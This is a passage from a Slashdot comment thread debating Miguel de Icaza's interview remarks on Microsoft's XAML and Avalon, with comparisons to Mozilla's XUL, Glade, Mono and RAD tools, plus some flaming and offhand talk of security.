      Or, to put it another way, this is Microsofts latest and most addictive crack. It has the potential to get a whole new generation of computers hopelessly, horribly, unescapably addicted to Microsoft products. It is worth being afraid of it.

      Jedidiah.

    2. Re:Disappointed in Miguel by Anonymous Coward · · Score: 0

      "if we can't beat the crap MS has been shoveling with another two full years of development time, it won't be because Bill and Steve are to blame."

      Yep.

      The open source community sure as hell will have no one but themselves to blame if the are stupid enough waste any time on every dunce who thinks it's cool to talk about pie in the sky concepts when there is mass of unglamorous grunt work to be done to bring Linux up to speed as a viable desktop for the mass computing market.

      Miguel is afraid???

      Who gives a shit.

    3. Re:Disappointed in Miguel by omicronish · · Score: 1

      The catch with XAML is that if business buys into it in a big way, it's going to be a serious blow to any OS other than an MS produced one. Why? It's the ultimate embrace and extend of HTML to lock people in. It's an HTML extension that is intimately tied to copyrighted Windows code that MS has exclusive control over.

      Microsoft isn't embracing and extending anything with XAML. XAML is an XML-based language completely independent from HTML. It is not an extension of HTML and never will be.

    4. Re:Disappointed in Miguel by Jeremiah+Cornelius · · Score: 1

      H H d !!!
      H H d !!!
      HHHH y y ppp eee rrr ccc aa rrr ddd !!!
      H H y y p p e e r c a a r d d
      H H yyy ppp ee r ccc aaa r ddd !!!
      y p
      yyy p

      --
      "Flyin' in just a sweet place,
      Never been known to fail..."
    5. Re:Disappointed in Miguel by Anonymous Coward · · Score: 2, Funny

      The open source community sure as hell will have no one but themselves to blame if the are stupid enough waste any time on every dunce who thinks it's cool to talk about pie in the sky concepts when there is mass of unglamorous grunt work to be done to bring Linux up to speed as a viable desktop for the mass computing market.

      Miguel is afraid???

      Who gives a shit.


      Sounds like someone needs a hug?

    6. Re:Disappointed in Miguel by Anonymous Coward · · Score: 0

      security holes that will be sloely patched

      sloely... that's a new one. Congrats!

    7. Re:Disappointed in Miguel by alienw · · Score: 1

      Nobody gives a shit about security when evaluating products. Practically every manager/executive will think primarily of the cost and the features that the technology provides. Security is usually an afterthought. Outlook is full of security holes, which routinely get exploited, and people just continue to use it. The same applies for ActiveX and such.

      Even if the technology is obviously full of security holes, that will not stop or slow adoption. On the other hand, if the security features interfere with the functionality, that product will die off. Just look at Java applets -- all the ridiculous security restrictions have made them pretty much useless, and everyone just uses ActiveX these days.

    8. Re:Disappointed in Miguel by Anonymous Coward · · Score: 0

      All I know is I have been around a lot of ppl - dumbass's really, that complain that web UI programing is "too hard", and it "sucks". These ppl will be all too happy to rush to a "easy" UI for making web pages. I can hear them now - "Windows runs on 90% of computers anyway - so whats the big deal?!?"

      That must be what Miguel is so afriad of.

      He knows 70% of IT ppl out there are lazy dumbass's that just do the easy thing, what else would explain Visual Basic. Lets face it - how do you think M$ got this far to begin with?

    9. Re:Disappointed in Miguel by scrytch · · Score: 1

      > The catch with XAML is that if business buys into it in a big way

      Thus leaving everyone still running Windows 98 in the cold, unless you think MS is going to reach back and support it. Not happening. Most businesses are still writing web apps with HTML 3.2 and little bits of javascript.

      This same Chicken Little alarmist crap happened with embedded ActiveX controls, which have gone precisely nowhere on the web. For another salient fairy tale, see also The Boy Who Cried Wolf.

      > Or, to put it another way, this is Microsofts latest and most addictive crack. It has the potential to get a whole new generation of computers hopelessly, horribly, unescapably addicted to Microsoft products. It is worth being afraid of it.

      So get off your ass. develop your own damn "crack", and stop blaming everyone else.

      --
      I've finally had it: until slashdot gets article moderation, I am not coming back.
    10. Re:Disappointed in Miguel by bwalling · · Score: 1

      sloely patched

      They fixed it with gin?

  15. Another class-action law suit? by Woogiemonger · · Score: 1

    Umm, wouldn't this just turn into another class-action law suit accusing Microsoft of inadequately supporting 3rd party competition? That'd be great, because the schools out there need more free Windows machines to advertise to children and squash the competition further.

  16. Embracing and Extending XUL? by Protoslo · · Score: 1

    In the interview there is a link to MS's Longhorn XAML page and if you compare the code snippets and description to Mozilla's XUL they do appear to be very similar. I'm not sure when Mozilla's and Microsoft's projects were started, but it does certainly appear that MS is "embracing and extending" XUL for Longhorn, by adding proprietary .NET integration. What strikes me as odd, is that it seems like XAML will be totally incompatible with XP and 2K as well (MS touts it as a new Longhorn markup language), so widespread adoption on the internet seems unlikely (at least until XP is phased out...). It seems like Linux/Mono would be on equal footing with XP/the current .NET framework when it comes to handling XAML.

    1. Re:Embracing and Extending XUL? by miguel · · Score: 5, Informative

      XUL is more of a standard: there is a specification
      which describes what things must do, and there are
      a couple of implementations (Mozilla's being the
      most popular one).

      XAML on the other hand is a serialization format:
      every tag in the XML is looked up in the class
      libraries, and every attribute as an event or as
      a property to be set. So the resulting markup
      is just a way of creating instances of your classes.

      The idea of XAML can be used with any class
      library really, its not limited to Avalaon (for
      instance, MyXAML is a XAML implementation for
      Windows.Forms). Like I said on the interview,
      what makes XAML/Avalon powerful is that it runs
      on a sandbox, and it has a set of fairly recent
      controls as opposed to those we have grown used
      to on the Web.

      Miguel.

    2. Re:Embracing and Extending XUL? by Soko · · Score: 4, Insightful

      Interesting indeed.

      Search on google for "cross platform toolkit" and note the second link - the XPToolkit from our friends at Mozilla. On that page what is the first text after the page title?

      Vision: We make cross-platform user interfaces as easy to build and customize as web pages.

      IMHO, Miguel isn't the only person who got scared - my bet is BillG and/or StevieB saw what Mozilla does and had a $3B coniption - XAML being it's end product. It's how Microsoft reacts every time something provides a hint of a credible threat to Windows dominance - destroy it before it destroys us.

      I know that I would love a RAD tool (a la VisualBasic maybe, but with less suckage) to make XUL apps. I could then write-once-run-on-gecko with any of the quick and dirty development work I had to do, and the OS wouldn't matter one whit. (Hey, I can dream, can't I?)

      Soko

      --
      "Depression is merely anger without enthusiasm." - Anonymous
    3. Re:Embracing and Extending XUL? by omicronish · · Score: 1

      I'm not sure when Mozilla's and Microsoft's projects were started, but it does certainly appear that MS is "embracing and extending" XUL for Longhorn, by adding proprietary .NET integration

      I actually find the integration of .NET into XAML fairly interesting; it certainly wouldn't be as appealing without it. There is a straightforward mapping between .NET objects and XAML elements, so properties such as Width and Height and be set in XAML by, surprise, Width and Height attributes in an XML element. Similarly, a Button object in .NET is specified by an XML element named Button. In fact, the XML names are ALWAYS the .NET names through the use of .NET reflection.

      What I consider the best part about this is that your .NET UI objects written in C# can be used in XAML without any modifications or additional glue code in most cases (more complex types such as arrays and hash tables may need additional code; someone correct me here). The closest analogy I can come up with is that this functions similar to SWIG, but totally automated. Write C# code and it's accessible from XAML as well as other .NET languages without additional code or effort.

      I'm unfamiliar with XUL so I don't know if it provides similar functionality. Does anyone here know both XAML and XUL and can provide some comparisons for us?

    4. Re:Embracing and Extending XUL? by Protoslo · · Score: 2

      I actually agree, this seems like a great move by MS, and a way to make .NET the "Total Windows Solution" that it was originally marketed as. Using XAML, you could harness "the power of .NET" without breaking out your copy of VS.NET and writing and comiling a whole application.

      Hell, I guess that was the gist of the response to the last question in the interview--it's just that Miguel de Icaza (reasonably) found the implications of this to be scary.

      Indeed, I guess that this vision could come to pass, and the implications would indeed be scary, but that would really be the fault of content providers; One would expect Microsoft to provide a means to access the proprietary aspects of Longhorn with this: that is what makes it so wonderful (from a "Total Windows Solution" perspective). If people start using this to provide web content which can only be run on Windows machines, well, that is hardly Microsoft's fault, even if it was their goal. That would be akin to everyone posting their data in Word documents instead of an open format like pdf. This is an annoying practice from an interoperability perspective, but that doesn't mean that MS Word shouldn't have been developed.

    5. Re:Embracing and Extending XUL? by johnynek · · Score: 1

      Can someone comment on how XAML compares to Glade? What would be the barrier to making a system to used Glade files loaded over the web to make GUIs on the fly (which with XML-RPC or SOAP could hook into web based back-end)?

      --
      jabber: johnynek@jabber.org
    6. Re:Embracing and Extending XUL? by zhenlin · · Score: 2, Informative

      Which makes it more akin to the .nib files of NeXT/ OS X Interface Builder fame.

      In any case, if you can break out of a chroot jail, you can break out of a sandbox. Truly malicious people will not be deterred by it.

    7. Re:Embracing and Extending XUL? by IamTheRealMike · · Score: 2, Interesting
      They seem to be pretty similar, except whereas XAML is based on .NET reflection, Glade is based on GObject reflection.

      The main problem is that I don't think anybody has really experimented with using Glade for anything other than GTK widget heirarchies. The other problem is that GObject isn't really a match for the .NET object model currently. With some work it could be a fantastic middle ground between what COM was and what .NET is - you still gain the advantage of actually using the real platforms instead of "skins" (see CPython vs Python.NET sometime), but you can still interop with other platforms at the OO level.

      The main problem with sucking Glade files through SOAP/XML-RPC is that you'd have to relay all the signals to an instance on the server. GTK+ wasn't really designed for high latency feedback like that. It *could* work, but it probably wouldn't work well.

      So there seem to be several alternatives:

      1) Use Mono with our own XAML/Avalon implementation. .NET already has code access security and other things you want for sandboxing, though given the mess that Java applets/security was I'm not sure it's necessary a good thing. Pros: compatibility, Cons: we're chasing a standard we don't have any influence over so will always be behind.

      2) Improve Mozilla/XUL - some previous poster suggested fully documenting it, integrating it with Apache/Tomcat, writing corporate webapps in it etc - YES. These are excellent suggestions for how to improve XUL as an app delivery platform. I used to be quite into XUL and knew the creator of JabberZilla : the things you could do with it even in the pre 1.0 days were mind boggling. XUL may never be a good way to write client side apps, but for internally deployed webapps it's fantastic.

      3) Leverage current Linux technologies to produce something like ActiveX but with security. I was thinking about that this morning. If you have an SELinux/DBUS enabled system you can get quite good sandboxing even for native code. You'd want some kernel mods to prevent certain "attacks", but I think you can get pretty close to what .NET CAS provides except you can also reuse the entire free desktop platform as well (all the libraries that don't have .NET bindings for instance).

      You could then layer some simple technologies on top of the web browser to write web-deployed client-side apps using GTK/Glade or Qt or whatever.

      In other words, it'd have all the good bits of ActiveX, but without the bad bits. I'm not sure this is a good way to go though - ActiveX/Java Applets seem to be a mostly dead idea, except in a few old-skool corporate webapps.

    8. Re:Embracing and Extending XUL? by Anonymous Coward · · Score: 0

      > if you can break out of a chroot jail,

      That assumes that chroot jails were designed to be airtight security in the first place. (they were not - its a hack.)

      How many Java apps do you know of that can break out their sandbox?

    9. Re:Embracing and Extending XUL? by ndykman · · Score: 1

      A very key point. Basically, XAML allows a declarative access to components and placing them together.

      I also though it allows declarative hooking of events, etc. to simple JavaScript.

      The simple blogger demo I saw should really open some eyes, because it shows how useful XAML can be in gluing things together.

      The idea is that you can change the layout and interface of a Windows application via XML.

      Given this, it is possible that the new model would allow you to take the GUI of an application (say, Windows Player), and place it in another application, and place the controls, etc, in the application just like any other control. I don't claim that XAML allows to you do that, just that it may be possible.

    10. Re:Embracing and Extending XUL? by bigweenie · · Score: 1

      I have included a link to an IE-only accessible MS presentation by a VP. Basically, the intent is to provide backward compatibility to at least Win2K.

      The presentation pulls together XAML/Avalon, Indigo, WinFS, WinFX, Visual Studio Everett-Whidbey-Orcas, XML-Infoset, SQL Server Yukon, Jupiter - Model Driven Architecture/UML, Rights Management, and Business Intelligence UDM.

      This is about 1 1/2 hours presentation, nevertheless, it is worthwhile to get the big picture of where Microsoft believes it is heading.

      http://www.microsoft.com/seminar/shared/asp/view .a sp?url=/Seminar/en/20040317SolArch09/manifest.xml& rate=0

    11. Re:Embracing and Extending XUL? by donniejones18 · · Score: 1

      Maybe I am confused, or not, but what -scares- me the most is that we are talking about building an interface that relies upon proprietary code from Microsoft!

      Doesn't this defeat everything we stand for in open-source....

      --
      Donnie

    12. Re:Embracing and Extending XUL? by SharpFang · · Score: 1

      Sorry to debunk the myth of cross-platform architecture of Mozilla. I take a minor part in development of one of extensions, and pretty often we hit a block: It works on Windows, but not on Linux. Works on Windows and Linux, but not OS/2. A variable points to one element on one platform, different on another. There are quite a few chunks of platform-specific if(platform==...) code in the extension already, and there's more to come with recent bugfixes. Maybe some day XPToolkit will be trully cross-platform. For now it isn't.

      --
      45 5F E1 04 22 CA 29 C4 93 3F 95 05 2B 79 2A B2
  17. De Icaza confirms... by Anonymous Coward · · Score: 0

    Netcraft is dying.

  18. This guy is awesome by jdifool · · Score: 5, Interesting
    Honestly, De Icaza is one of the few free software/OSS activist with really clear ideas on the subject and some objectivity.

    He acknowledges that the Microsoft replacement for HTML is a rich user experience to come, despite the fact it certainly is dangerous to a certain extent.

    Do realize that, GNU/Linux zealots : you can say something is good from a certain point of view (usability), and bad from another (interoperability). Isn't that incredible ?

    Really ; isn't that incredible ?

    Regards,
    jdif

    --
    Let's overcome our weakness.
    1. Re:This guy is awesome by killjoe · · Score: 0

      This strikes me as a silly idea. IE can already host activeX controls and you can make rich guis with HTA. Why introduce yet another rich gui framework. If you need a fat client write a fat client application.

      BTW java web start is a much better solution for fat clients. As a bonus you can code it right now.

      --
      evil is as evil does
    2. Re:This guy is awesome by Anonymous Coward · · Score: 0

      Why use existing technology that works today when you can go off and write your own competing and incompatible version of the exact same thing. You get to give a lot of interviews, come up with your own names for things, get your own icons...sure as hell more fun than fixes existing bugs.

      And then when things start to get tough you can always bail and find something new to start up...

      KDE/Gnome
      Java/Mono ...

    3. Re:This guy is awesome by Anonymous Coward · · Score: 0, Insightful

      Really ; isn't that incredible ?

      Even more incredible that an objective post such as yours gets modded up!

    4. Re:This guy is awesome by jdifool · · Score: 1
      Did you RTFA ?

      Apparently, XAML is a complete replacement for HTML. So, it means that you have the ease of use and flexibility of every web development language, plus the markup, in one single language.

      Furthermore, did you work with XAML ? do you know how the internals work ? I don't, and I'm pretty sure you don't either ; and I think it's quite relevant to trust Miguel de Icaza on that point.

      And then you answer me, yeah yeah you trust too easily. And then I say : trusting trust, boy !

      Plus a nice {counterinsult} with plenty of web apps just in your forehead.

      Regards,
      jdif

      --
      Let's overcome our weakness.
    5. Re:This guy is awesome by killjoe · · Score: 1

      "Apparently, XAML is a complete replacement for HTML. So, it means that you have the ease of use and flexibility of every web development language, plus the markup, in one single language."

      I just don't buy it. It certainly does not have the simplicity of HTML. HTML was great because any kid in high school could put together something in a hurry. XAML looks way too complicated for that to happen.

      My guess is that MS will have to have some sort of XAML plug in into visual studio so you can draw the screens and whatnot. At that point it will be pretty much like any other IDE programming any other gui except with a crappy psudo-language based on XML.

      Just get jbuilder and draw pretty GUIS using it and publish a webstart app. It will be easier and faster trust me.

      --
      evil is as evil does
    6. Re:This guy is awesome by jdifool · · Score: 1
      I just don't buy it.

      It's your bet. If they made up something that would look like an OO-oriented SGML thing, it would remain simple for basic stuff, basically HTML, but could be expanded into more complicated things.

      Again, I'm more on trusting de Icaza than you. It's not that I don't like you, but I'm not using the desktop you've made !

      Regards,
      jdif

      --
      Let's overcome our weakness.
    7. Re:This guy is awesome by Anonymous Coward · · Score: 0

      One problem is that developers mistake "simple" (for them) with "simple" for everyone else.

      What made HTML popular was that was REALLY simple, and you could play fast & loose with it and get the results you wanted.

      Now its turning into XHTML2 + CSS-Strict, where the rules are so stringent that you might as well just move to an XML-based syntax that's actually designed for UIs. Maybe "simple" for you and me, but out of reach for everyone else.

      Lets face it -- nobody's going to be wacking out anything more than Hello World in XAML using a text editor. It will have a GUI builder.

    8. Re:This guy is awesome by meadowsp · · Score: 1

      Object-Oriented-oriented SGML thing?

      Do you have the faintest idea what you're on about.

    9. Re:This guy is awesome by Anonymous Coward · · Score: 0

      I'm willing to bet MS will allow these fast & loose tricks in their XAML, unless it's totally flawed that no sense could be made of it.

      That's my take.

  19. Miguel is right-on-target!!! by bigusputicus · · Score: 5, Insightful

    This new technology is finally going to bring closer to the people with domain expertise the ability to create their own applications, without having to depend on technical specialists. HTML opened the door to many people with limited or no programming expertise. The .Net framework with Avalon and XAML will advance this even further. The Mozilla approach is something the Unix/Linux developers need to better understand and get on board with and contribute towards as the current stack used in the Unix/Linux community is already out-dated. Miguel is right-on-target!!!

    I've worked in Unix engineering environments since 1984 at HP and Sun (Operating Systems, Networking and Graphics). I've observed over the years that the Unix community took Microsoft very lightly and never very seriously. The unix industry has not traditionally worked with the same user community as Microsoft. But Microsoft has matured very quickly and now delivers some outstanding technology for developing applications! The .Net framework, Avalon and XAML in my opinion will have no peers unless the Linux community develops a competitive answer!

    The stack that Microsoft is creating will not only empower more people to create more sophisticated applications, but will increase the productivity of application programmers by at least 30% over todays Unix/Linux development stacks!!!

    Mozilla is a great start in the right direction, but cooperation between the Gnome, Kde, and Mozilla camps will need to occur in sort order to compete with the Microsoft stack when it comes to application interface development.

    GigantanKramePithicus

    1. Re:Miguel is right-on-target!!! by Anonymous Coward · · Score: 0

      You can't possibly be a real person.

    2. Re:Miguel is right-on-target!!! by killjoe · · Score: 1

      Bah. That's just wishful thinking. I'll tell you a secret. The business people don't want to code. That's why they hire programmers.

      --
      evil is as evil does
    3. Re:Miguel is right-on-target!!! by miffo.swe · · Score: 0

      And RAD development is good how? All i have seen is buggy untested applications that break on a touch of a button. Rad tools is like giving a hyena an UZI. The hyenas isnt supposed to mate with the Lions but with an UZI they can compete. They still are hyenas ofcourse.

      Same thing with RAD tools, sure development should be easier but RAD cant replace careful planning, implementation and testing wich some poeple tend to think.

      --
      HTTP/1.1 400
    4. Re:Miguel is right-on-target!!! by Anonymous Coward · · Score: 1, Informative

      Hmmm... Consider this:

      Director of Quality Assurance write macros (basic) for his Microsoft Excel Spreadsheet that generates graphs based on collected metrics data and populates a web site.

      Director of Engineering works with consultant to design user interface for CMM PAL (process asset library)

      Director of Software Engineering implements defect tracking system, with metrics managemenet system

      The list goes on and. Lots of business people are creating small applications. The spreadsheet is one of the most common applications used by non-profesional programmers to create small applications.

      GigatanKramePithicus

    5. Re:Miguel is right-on-target!!! by CaptnMArk · · Score: 1

      >This new technology is finally going to bring closer to the people with domain expertise the ability to create their own applications.

      It will not.

      For something like that you need to look at nakedobjects.org and other similiar things.

    6. Re:Miguel is right-on-target!!! by bigusputicus · · Score: 1

      I spent my early career using emacs then later vi... now gvim/vim... But I've witnessed many peers in recent years getting tremendous productivity out of RAD development tools such as Eclipse and IDEA.

      Over the past few years I watched many non-professional-programmers use RAD tools like Dreamweaver to create web applications, whereas those same folks would have had a very difficult time if limited to an editor.

      Over my entire career I've seen plenty of good, bad, and ugly code created in non-RAD environment.

      Based on my observations of the past few years, most people programming applications would be much more productive in a RAD environment

      In regards to planning, implementation and testing... I think this is an area that tools can make a huge improvement in both effectiveness and efficiency. Having worked on teams as small as 9 people and as large as 300, this is an area that the industry is in real need of tools!

      GigantanKramePithicus

    7. Re:Miguel is right-on-target!!! by bigusputicus · · Score: 1

      I beg to differ. Let me give you a simple example: How many people do you know that have little or no programming background that have created web pages?

      How many people do you know that HAD little or no programming background and created web sites?

      With Visual Basic, Avalan and XAML those same people will be able to easily create simple applications and some of them will wind up creating sohpisticated applications. Bescause the technology learning curve will be very small relative to current technologies, people we give it a try, obtain a certain level of success, be happy, and continue to move forward.

      I first read about nakedobjects a year ago. There has been other works in this area that I've observed over the years.

      GigtanKramePithicus

    8. Re:Miguel is right-on-target!!! by killjoe · · Score: 1

      "Director of Quality Assurance write macros (basic) for his Microsoft Excel Spreadsheet that generates graphs based on collected metrics data and populates a web site."

      Not where I work. They hired a report writer. That's right, this guy's job is to write reports and give them to the management (in excel format of course).

      "Director of Software Engineering implements defect tracking system, with metrics managemenet system"

      Not where I work. They paid 5 figures for a defect tracking system.

      --
      evil is as evil does
    9. Re:Miguel is right-on-target!!! by LittleBigLui · · Score: 1

      An Application is more than its User Interface. It may be just a little more or a whole lot more. The UI may be the main part or just a tiny interface to a very complex and big system, but the UI is never the only part.

      HTML is very different, because even though it's possible to do so, you don't need to build a whole application based on it. A web page without anything but <html>, <body>, <h1> and plain text is perfectly reasonable. An application that doesn't do anything but display text in two different fonts isn't.

      --
      Free as in mason.
    10. Re:Miguel is right-on-target!!! by Eminor · · Score: 4, Interesting

      Absolutely 100% agreed with parent. I was thinking about this earlier today. Imagine if there was standard API that desktop applications implementated that allowed other applications to get data from them.

      Example: Gnome could ask evolution for it's contact information. In fact, Gnome could ask for any piece of information, group of information, or all of evolutions information. The information would be returned in an XML format. Gnome could also ask for meta data from evolution.

      If desktop applicatons started implementing this standard, It would be very easy to write interoperable applications. In fact, it would be very easy to implement entire new applications based on the information existing applications have.

      The lines between applications would become blurred, and we would have a very rich environment. In fact, an idea such as this just might be the killer concept the blows the door wide open for Unix/Linux.

    11. Re:Miguel is right-on-target!!! by 0BoDy · · Score: 1

      You're right! Absolutely, but if it has value to the market, and Linux doesn't have it, linux loses market. Just becuase every app you've seen doesn't work, doesn't mean that miguel and CO can't do it better. If anything, look at Samba: Crappy MS stolen Tech that barely works -> Robust Server system that plays of the strengths of a very weak protocol and allows customizeability and tuning. COnsider more than what you've seen, think of what can be. If people use a bad tool, that's bad everywhere, they'll come to you conclusion, If they don't that's somewhere where we've lost. IMHO.

      --
      Can I be a Luddite too?
    12. Re:Miguel is right-on-target!!! by Glock27 · · Score: 1, Insightful
      The stack that Microsoft is creating will not only empower more people to create more sophisticated applications, but will increase the productivity of application programmers by at least 30% over todays Unix/Linux development stacks!!!

      Er, didn't Visual Basic already do that? ;-) (With unimpressive results I might add.)

      This story is essentially a dupe from a couple days ago...read my take on that for yet another perspective. Don't forget, this won't hit the streets until 2006...that's a long ways off. Also read the responses to the "miguel" (not sure if it's the real one) post...I couldn't have said it any better myself.

      --
      Galileo: "The Earth revolves around the Sun!"
      Score: -1 100% Flamebait
    13. Re:Miguel is right-on-target!!! by Anonymous Coward · · Score: 0
      Perhaps NDI could be of interest.

      It is a work in progress though, and it would require tons of work to implement things right.

    14. Re:Miguel is right-on-target!!! by maw · · Score: 2, Informative
      Example: Gnome could ask evolution for it's contact information. In fact, Gnome could ask for any piece of information, group of information, or all of evolutions information.

      You're right - that would be a good idea.

      --
      You're a suburbanite.
    15. Re:Miguel is right-on-target!!! by loconet · · Score: 1

      If you were to add one more exclamation mark (!!!) I would think you are a Microsoft marketting rep..

      --
      [alk]
    16. Re:Miguel is right-on-target!!! by Anonymous Coward · · Score: 0

      the main problem with programs sharing information & resources is that it makes it trivial to write malicious scripts. It is exactly the ability to do this with MS products (get address list from OE, use outlook to send mail etc) coupled with the ubiquity of these products that makes today's internet worms so powerful.

      In a world where everyone was trying to play nicely this sounds like a fantastic level of integration. Trouble is you don't necessarily want all programs to have access to all this sort of information.

    17. Re:Miguel is right-on-target!!! by Anonymous Coward · · Score: 0

      You fell for one of those 1999 trolls that would have most likely been modded up back then.

      The only reason that people use emacs or vi is because of the keybindings which you can get or write plugins for Eclipse or IDEA.

      Not only that but with all of these extensions you see written for vim and emacs it's clear that many people are trying to copy the features you see in a modern IDE. The vim and emacs problem is that essentially they remain console applications even though they've been ported over to gui environments.

      I was playing around with emacs over the weekend - elisp is actually quite nice. But when I had to manually add a patch to Xemacs source code in order to get anti-aliasiing I thought to myself why am I even dicking with this. This is 2004 and these clowns don't even have xft in their standard code base yet!

      I went back to eclipse which has good c/++ support now via CDT and incredible java support. I'm thinking about writing a full-fledged c# development environment plugin for it as well.

    18. Re:Miguel is right-on-target!!! by Eminor · · Score: 1

      the main problem with programs sharing information & resources is that it makes it trivial to write malicious scripts.

      Sharing information is not the same as allowing arbitrary execution. Nowhere did I mention the ability to execute programs from remote locations.

      Example:
      The internet has wealth of data that is publicly available. That alone does not make it trivial to write malicious scripts. Scripting and Active X in outlook and IE were what made malicious script writing trivial.

    19. Re:Miguel is right-on-target!!! by Eminor · · Score: 1

      You're right - that would be a good idea.

      Well I'll be damned. I am not surprised that someone else has thought of this. And yes, it is a good idea.

      I was refering to something more abstract though, like a standard way of sharing information that all programs would understand.

      Hopefully this gets the ball rolling to inovation on the Gnome desktop.

    20. Re:Miguel is right-on-target!!! by HR · · Score: 1
      Sharing information is not the same as allowing arbitrary execution.

      Nor is arbitrary execution the same thing as a malicious script. If any application allows for scripting and furthermore, there is a lot of resource/information sharing among programs, it opens the door for application scripts to obtain information which they should not have. Lots of sharing means lots of security needed to make sure the access should be allowed, and lots of opportunity for mistakes.

    21. Re:Miguel is right-on-target!!! by Eminor · · Score: 1

      If any application allows for scripting and furthermore, there is a lot of resource/information sharing among programs, it opens the door for application scripts to obtain information which they should not have. Lots of sharing means lots of security needed to make sure the access should be allowed, and lots of opportunity for mistakes.

      Agreed, we should always be carefull in design to make sure that a system is secure. I was not proposing a full fledged design, but rather an idea. These details would obviously have to be worked out.

    22. Re:Miguel is right-on-target!!! by Anonymous Coward · · Score: 0
      Hopefully this gets the ball rolling to inovation on the Gnome desktop.

      LOL! Innovation in Gnome! Yeah, that'll be the day.

  20. Re:Its that loser again flaming Windows. by Roman_(ajvvs) · · Score: 1
    Can't he talk about anything other than people's comments on Microsoft Technologies? I swear he must be a zealot.

    I got as much information about Novell and the linux desktop than I did on microsoft and mono. It's a short but interesting interview. I'd hoped it spanned more than a single page, but despite only consisting of a few questions the answers are relatively in depth.

    --
    click-clack, front and back. I'm not moving this car otherwise.
  21. XAML is only scary because it's Microsoft by serutan · · Score: 4, Insightful

    I wish I could get excited about XAML, because I like the idea of a complete overhaul of HTML. This is the first I've heard of XAML. If you follow the links and look at the material on it, it looks pretty cool. What bothers me about it is that if and when it becomes dominant it will stop evolving, just like IE and every other dominant MS product. Its goal is not to change the world or fix the web, but to capture market share and make competition more difficult.

    Having said that, why isn't there an far-reaching OSS project to replace HTML? For one thing I guess it's a lot easier to impose a standard on the world when you have the dominant platform. Will Microsoft convert the web into a network of C# apps? I hope not.

    1. Re:XAML is only scary because it's Microsoft by GarfBond · · Score: 4, Informative
      I haven't read the article (duh), but from what I remember, XAML wasn't a complete overhaul of HTML. XAML was more like a way of using XML to design your user interfaces, integrated completely into Windows. It's not designed to work with anything but Longhorn.

      Does that technology sound familiar? Oh right, it does!

      XUL (pronounced "zool") is Mozilla's XML-based User interface Language that lets you build feature-rich cross platform applications that can run connected or disconnected from the Internet. These applications are easily customized with alternative text, graphics and layout so they can be readily branded or localized for various markets. Web developers already familiar with Dynamic HTML (DHTML) will learn XUL quickly and can start building applications right away.
      Obviously, Mozilla's focus is on "cross platform," whereas Microsoft would much rather just focus on the one.
    2. Re:XAML is only scary because it's Microsoft by omicronish · · Score: 2, Insightful

      I wish I could get excited about XAML, because I like the idea of a complete overhaul of HTML

      From what I've read, it's not an overhaul of HTML, but a markup language for .NET applications. HTML will probably stay with us for a lonnngg time because of it's widespread usage and relative efficiency. .NET certainly won't appear on my NAT router anytime soon to provide a management interface, for example.

      What bothers me about it is that if and when it becomes dominant it will stop evolving, just like IE and every other dominant MS product. Its goal is not to change the world or fix the web, but to capture market share and make competition more difficult.

      What I've seen happen sometimes on the technology side of Microsoft is stuff like COM gets augmented with little features and cruft, and after a while gets replaced by something new, which is .NET in this case. The same thing has happened with Visual C++, which was replaced by the new Visual Studio.NET IDE. Longhorn's WinFX will replace the Win32 API. So yes, evolution for a particular technology or product stops, but in cases like these it's replaced by a new technology, usually because the old one is inadequate for current and future needs.

      However, there are also products where they seem to stagnate. IE is one of them (although it's getting a minor upgrade with SP2), and Office seems to have reached a point where additional features doesn't matter anymore for the majority of users.

      I think XAML falls in the first category, where it'll probably settle down after a while to be replaced by another technology. Stagnation seems to occur more on a product level than a technology level at Microsoft. Note that I'm not saying Microsoft innovates or makes new technology (I have no stance on this issue), but that they do a lot of new things on the technology side.

    3. Re:XAML is only scary because it's Microsoft by prockcore · · Score: 2, Informative

      Having said that, why isn't there an far-reaching OSS project to replace HTML?

      Well, that's not really what XAML is, it's a way of marking up UIs.

      Apple does the same thing with iTMS.

      The structure of iTMS XML is similar to the structure of a Gtk app (in fact, I'm currently working on implementing a viewer of iTMS XML using Gtk).

      In general, iTMS XML isn't as powerful as html+css, but it does do some things that html can't do.

      Because both XAML and iTMS XML mix content with presentation, neither is a good replacement for html+css, but both are interesting none-the-less.

    4. Re:XAML is only scary because it's Microsoft by darnok · · Score: 1

      XWT has been around for a while as an open-source project, and (based on what little I know of XAML) seems to address the same issue of providing a "better than HTML" user interface.

      Unfortunately, XWT is only being enhanced by 1 or 2 guys, and supports Java and ActiveX, so their progress will probably be much slower than Microsoft's with XAML. Maybe this article will entice a few more people to work on XWT - I'd like to, but simply don't have the time.

    5. Re:XAML is only scary because it's Microsoft by dillkvast · · Score: 1

      Because both XAML and iTMS XML mix content with presentation, neither is a good replacement for html+css, but both are interesting none-the-less.
      --
      Scitne aliquis remedium potimum crapulae?
    6. Re:XAML is only scary because it's Microsoft by dillkvast · · Score: 1

      Sorry for parent post... to early submission, it happens to everyone. really...

      Because both XAML and iTMS XML mix content with presentation, neither is a good replacement for html+css, but both are interesting none-the-less.

      Separating content and presentation is a very good idea. However at some point it will be mixed, at least on screen. I think that separation on the server side is better to avoid client complexity. I.e. with a XSLT based solution as seen in Apache Cocoon.

      --
      Scitne aliquis remedium potimum crapulae?
    7. Re:XAML is only scary because it's Microsoft by Crazy+Eight · · Score: 1
      ...why isn't there an far-reaching OSS project to replace HTML?

      This has been on the table for a while. Mozilla has "reasonable" (as they describe it at mozilla.org) support for it.

    8. Re:XAML is only scary because it's Microsoft by prockcore · · Score: 1

      I think that separation on the server side is better to avoid client complexity.

      Yes, you're right, and it could indeed be the case with iTMS that it is separated on the server side, and joined via xslt before being sent to the client.

      I would love to know if Apple has similar plans as Microsoft. They have built one application that uses XML to layout a user interface, there isn't any reason why they couldn't do the same with all of their apps.

      I think the whole concept is very promising. Especially for linux. Providing an easy-to-use XML interface for layout control of applications really opens doors. Designers could design application interfaces even after an application has been "published".

      It takes the concept of customizing your toolbars to a whole new level.. I would be able to customize the entire interface of an application.

      Sure there are bits and pieces of this already in place (XUL for example) but one thing that MS does well is taking a concept and applying it across the board. I want all my gnome apps to work like this.

    9. Re:XAML is only scary because it's Microsoft by Decaff · · Score: 1

      Having said that, why isn't there an far-reaching OSS project to replace HTML? For one thing I guess it's a lot easier to impose a standard on the world when you have the dominant platform. Will Microsoft convert the web into a network of C# apps? I hope not.

      Firstly, Microsoft only have the dominant platform on the client side. Web pages and application servers are server-based technologies. You can't dominate the web or specify server languages at the client side (you may be able to screw up HTML standards with IE, but that is a different matter). C# uptake on the server side has been almost non-existent. The server side is dominated by open-source scripting languages, Java and C.

